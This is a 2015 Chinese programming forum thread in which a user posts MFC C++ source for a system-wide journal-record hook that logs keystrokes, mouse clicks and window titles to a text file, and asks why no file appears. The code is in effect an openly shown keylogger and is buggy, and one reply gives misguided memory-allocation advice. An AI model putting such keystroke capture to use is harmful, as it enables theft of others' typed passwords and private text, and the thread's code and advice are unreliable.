WH_JOURNALRECORD钩子为什么将记录的信息写不到文件中

xixi11_guagua_22 代发  2015-09-11 10:13:23
下面是程序源码，将键盘消息记录到文件中，发现文件根本没创建，是文件问题还是根本就没记录键盘消息？？？
// logfileDlg.cpp : implementation file
//

#include "stdafx.h"
#include "logfile.h"
#include "logfileDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CLogfileDlg dialog
HHOOK g_hLogHook = NULL; //钩子变量
HWND g_hLastFocus = NULL;
HWND g_SelfHandle = NULL;

//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值


CLogfileDlg::CLogfileDlg(CWnd* pParent /*=NULL*/)
: CDialog(CLogfileDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CLogfileDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);

}

void CLogfileDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CLogfileDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CLogfileDlg, CDialog)
//{{AFX_MSG_MAP(CLogfileDlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDLOG, OnLog)
ON_BN_CLICKED(IDC_STOP, OnStop)
ON_WM_LBUTTONDOWN()
ON_WM_TIMER()
//}}AFX_MSG_MAP
ON_WM_LBUTTONDOWN()
ON_WM_TIMER()
END_MESSAGE_MAP()

//MESSAGE_HANDLER(WM_LBUTTONDOWN,TMessage,notify_message)
//MESSAGE_HANDLER(WM_TIMER,TMessage,HandleTimer)
/////////////////////////////////////////////////////////////////////////////
// CLogfileDlg message handlers

BOOL CLogfileDlg::OnInitDialog()
{
CDialog::OnInitDialog();

// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon

// TODO: Add extra initialization here

return TRUE; // return TRUE unless you set the focus to a control
}

// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.

void CLogfileDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting

SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;

// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}

// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CLogfileDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}

void CLogfileDlg::OnLog()
{
// TODO: Add your control notification handler code here
g_SelfHandle = m_hWnd ;
if (g_hLogHook==NULL)
//安装日志钩子
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,NULL,0);

::SetTimer(m_hWnd,1,1000*120,NULL);
}

HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)
{
/*MSG msg;

while (GetMessage(&msg, NULL, 0, 0))

{

TranslateMessage(&msg);

DispatchMessage(&msg);

}*/
if (iCode< 0)
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);

if (iCode==HC_ACTION)
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;

HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称

FILE *stream=fopen("c:\\logfile.txt","a+t");

if (pEvt->message==WM_KEYDOWN) //捕捉键盘按键
{
int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];

hFocus = GetActiveWindow();
//取得当前活动窗口句柄

if(g_hLastFocus!=hFocus)
{//当前活动窗口是否改变,如果改变，记录下上一次显示的窗口
GetWindowText(hFocus,szTitle,256); //得到当前窗口的标题并拷贝到指定缓冲区
g_hLastFocus=hFocus;

CTime pt;
CString time1,time2;

pt = CTime::GetCurrentTime();
//星期，月，日，年
time1=pt.Format("%A, %B %d, %Y");
//小时，分，秒
time2=pt.Format("%H : %M : %S ");

//写入文件
fprintf(stream,"%c%s%c%c%s",10,time1+time2,32,32,szTitle);
fprintf(stream,"%c%c",32,32);
}

int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift)
fprintf(stream,"%c",vKey);

if (vKey >=65 && vKey<=90)
{// A-Z a-z
if (!bCapital)
if (bShift)
ch=vKey;
else
ch=vKey+32;
else
if (bShift)
ch=vKey+32;
else
ch=vKey;
fprintf(stream,"%c",ch);
}

if (vKey >=96 && vKey<=105) // 小键盘0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222)
{ // 其他键
switch (vKey)
{
case 186:
if (!bShift) ch=';';else ch=':';break;
case 187:
if (!bShift) ch='='; else ch='+';break;
case 188:
if (!bShift) ch=',';else ch='<' ;break;
case 189:
if (!bShift) ch='-'; else ch='_';break;
case 190:
if (!bShift) ch='.'; else ch='>';break;
case 191:
if (!bShift) ch='/'; else ch='?';break;
case 192:
if (!bShift) ch='`';else ch='~'; break;
case 219:
if (!bShift) ch='['; else ch='{';break;
case 220:
if (!bShift) ch='\\'; else ch='|';break;
case 221:
if (!bShift) ch=']'; else ch='}';break;
case 222:
if (!bShift) ch='\''; else ch='\"';break;
default:
ch='n'; break;
}
if (ch!='n') fprintf(stream,"%c",ch);
}

// 功能键 [F1]-[F12]
if(vKey==VK_F12)
::PostMessage(g_SelfHandle,WM_CLOSE,0,0);

if (vKey >=8 && vKey<=46) //方向键
{
switch (vKey)
{
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n';break;
}
if (ch!='n')
{
if (g_PrvChar!=vKey)
{
fprintf(stream,"%s",str);
g_PrvChar=vKey;
}
}
}
}

if(pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN) //捕捉鼠标按键
{
hFocus = GetActiveWindow();
if (g_hLastFocus!=hFocus)
{
g_hLastFocus = hFocus;
GetWindowText(hFocus,szTitle,256);

CTime pt;
pt=CTime::GetCurrentTime();

CString time1,time2;
//星期，月，日，年
time1=pt.Format("%A, %B %d, %Y");
//小时，分，秒
time2=pt.Format("%H : %M : %S ");

//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,time1+time2,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}

fclose(stream);
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
}

void CLogfileDlg::OnStop() //删除钩子指向的钩子句柄
{
// TODO: Add your control notification handler code here
if (g_hLogHook!=NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
}
}

void CLogfileDlg::OnLButtonDown(WPARAM &wParam, LPARAM &lParam)
{
// TODO: Add your message handler code here and/or call default
int x = LOWORD(lParam); // horizontal position of cursor
int y = HIWORD(lParam);

::SendMessage(m_hWnd,WM_NCLBUTTONDOWN,HTCAPTION,MAKELPARAM(x,y));

// CDialog::OnLButtonDown(nFlags, point);
}

void CLogfileDlg::OnTimer(WPARAM &wParam, LPARAM &lParam)
{
// TODO: Add your message handler code here and/or call default
::KillTimer(m_hWnd,1); //移除定时器
}


void CLogfileDlg::OnLButtonDown(UINT nFlags, CPoint point)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值

CDialog::OnLButtonDown(nFlags, point);
}


void CLogfileDlg::OnTimer(UINT_PTR nIDEvent)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值

CDialog::OnTimer(nIDEvent);
}
...全文
45 点赞 收藏 3
写回复
3 条回复
切换为时间正序
当前发帖距今超过3年，不再开放新的回复
发表回复
xixi11_guagua_22 2015-09-11
回复赵4老师： g_hLogHook调试确实是非法的指针，可是已经给g_hLogHook分配内存了。 HHOOK g_hLogHook = NULL;
回复 赞
赵4老师 2015-09-11
请检查每个函数的返回值。
 回复 赞
赵4老师 2015-09-11
使用GlobalAlloc分配内存。并使用GlobalLock
 回复 赞
相关推荐
钩子函数的使用，有例子 为什么使用该函数已在iii钩子进程中的“注意”中，加以了详细的说明。 hhk: 当前钩子的句柄 nCode: 传送到钩子进程的钩子代码。 wParam:传送到钩子进程的值。 lParam:传送到钩子进程的值。 参数： hhk: 当前钩子的...
钩子教程 - 原理(六) : WH_JOURNALPLAYBACK / WH_JOURNALRECORD / WH_KEYBOARD_LL / WH_KEYBOARD / WH_MOUSE_LL / ... 原文地址:... 钩子类型7：WH_JOURNALPLAYBACK The WH_JOURNALPLAYBACK hook enables an application to insert messages into the system message queue. You can use this hook ...
WH_JOURNALRECORD与WH_JOURNALPLAYBACK应用(记录和回放) #define VC_EXTRALEAN // 从 Windows 标头中排除不常使用的资料 #endif // 如果您必须使用下列所指定的平台之前的平台，则修改下面的定义。 // 有关不同平台的相应值的最新信息，请参考 MSDN。 #ifndef WINVER /...
键盘鼠标记录回放的钩子WH_JOURNALRECORD在win7下权限不足(错误代码5)的解决办法：用户帐户控制-以管理员批准模式运行所有管理员-已禁用... 键盘鼠标记录回放的钩子WH_JOURNALRECORD在win7下权限不足(错误代码5)的解决办法：用户帐户控制-以管理员批准模式运行所有管理员-已禁用 WH_JOURNALRECORD需设置安全选项-用户帐户控制-以管理员批准模式运行所有...
C#中的Hook，即钩子，引用微软的文章，很有用的 C# 钩子 Hook
钩子技术介绍（HOOK 编程） 【什么是HOOK API】HOOK（钩子，挂钩）是一种实现Windows平台下类似于中断的机制[24]。HOOK机制允许应用程序拦截并处理Windows消息或指定事件，当指定的消息发出后，HOOK程序就可以在消息到达目标窗口之前将其捕获，...
SetWindowsHookEx钩子详解 钩子(Hook)，是Windows消息处理机制的一个平台，应用程序可以在上面设置子程以监视指定窗口的某种消息，而且所监视的窗口可以是其他进程所创建的。当消息到达后，在目标窗口处理函数之前处理它。钩子机制允许应用...
钩子(HOOK)函数教程 日常生活中，我们的钩子是用来钩住某种东西的，比如，说，鱼钩是用来钓鱼的，一旦鱼咬了钩，钩子就一直钩住鱼了，任凭鱼在水里怎么游，也逃不出鱼钩的控制。同样的，Windows的钩子Hook也是用来钩东西的，比较抽...
[网络安全自学篇] 八十五.《Windows黑客编程技术详解》之注入技术详解（全局钩子、远线程钩子、突破Session 0注入、APC注入） 从这篇文章开始，作者将带着...第二篇文章主要介绍4种常见的注入技术，包括全局钩子、远线程钩子、突破SESSION 0隔离的远线程注入、APC注入，案例包括键盘钩子、计算器远线程注入实现、APC注入等，希望对您有所帮助。
波哥写的钩子教程 日常生活中，我们的钩子是用来钩住某种东西的，比如，说，鱼钩是用来钓鱼的，一旦鱼咬了钩，钩子就一直钩住鱼了，任凭鱼在水里怎么游，也逃不出鱼钩的控制。同样的，Windows的钩子Hook也是用来钩东西的，比较抽象的...
WINDOWS中钩子的类型 系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程，并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。 WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构，再传递到Hook子程。CWPRE
C#系统钩子的实现 C#的系统钩子要点 1.载入钩子函数 [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] private static extern int CallNextHookEx( int id...
C++键盘钩子 C++键盘钩子 Windows系统是建立在事件驱动的机制上的，整个系统都是通过消息传递来实现的。...这样，我们就可以在系统中安装自定义的钩子，监视系统中特定事件的发生，完成特定的功能，比如截获键盘、鼠标的...
钩子程序 钩子程序 钩子(Hook)，是Windows消息处理机制的一个平台，应用程序可以在上面设置子程序以监视指定窗口的某种消息，而且所监视的窗口可以是其他进程所创建的。当消息到达后，在目标窗口处理函数之前处理它。钩子...
C#全局钩子和局部钩子记录 最近碰巧要使用键盘钩子，于是在网上搜索了一番，发现大多数博客的文章都是雷同的，根本就没有讲清楚全局钩子和局部钩子的区别，于是特开一贴，讲全局钩子和局部钩子捋一捋。也供后面的人学习。 因为大部分应用都...
钩子函数和回调函数 回调函数实际上就是在调用某个函数（通常是API函数）时，将自己的一个函数（这个函数为回调函数）的地址(函数指针)作为参数传递给那个函数。而那个函数在需要的时候，利用传递的地址调用回调函数，这时你可以利用这...
.NET C# 使用 SetWindowsHookEx 监听鼠标或键盘消息以及此方法的坑 如果要知道如何使用这个 API，你可以在网上搜到大量这样的文章/博客/教程/文档，然而大多不会提及使用此 API 时遇到的一些坑。阅读本文，你当然也可以知道应该如何使用这个 API，但同时也能了解如何正确使用以避免...
钩子初接触（二十一） 方法安装一个应用程序定义的钩子子程到钩子链表中。你可能安装钩子子程来监视系统的一些类型的事件。这些事件可以同下面的线程一起使用：指定的线程或者同一桌面下做为调用线程的所有线程。 Syntax 语法 ...
自己写一个键盘钩子程序来监视键盘输入 “钩子是Windows的消息监视点，应用程序可以在这里安装一个监视子程序，这样就可以...那么，要写一个钩子程序，肯定要先确定钩子的类型，钩子是有很多类型的，不同类型的钩子可以监视不同类型的消息。 钩子名称 ...
四年级语文下册 走进书里去 3教案 长春版.doc 四年级语文下册 走进书里去 3教案 长春版.doc
发帖
C语言
创建于2007-09-28

6.3w+

社区成员

24.0w+

社区内容

C语言相关问题讨论
申请成为版主
帖子事件
创建了帖子
2015-09-11 10:13
社区公告
暂无公告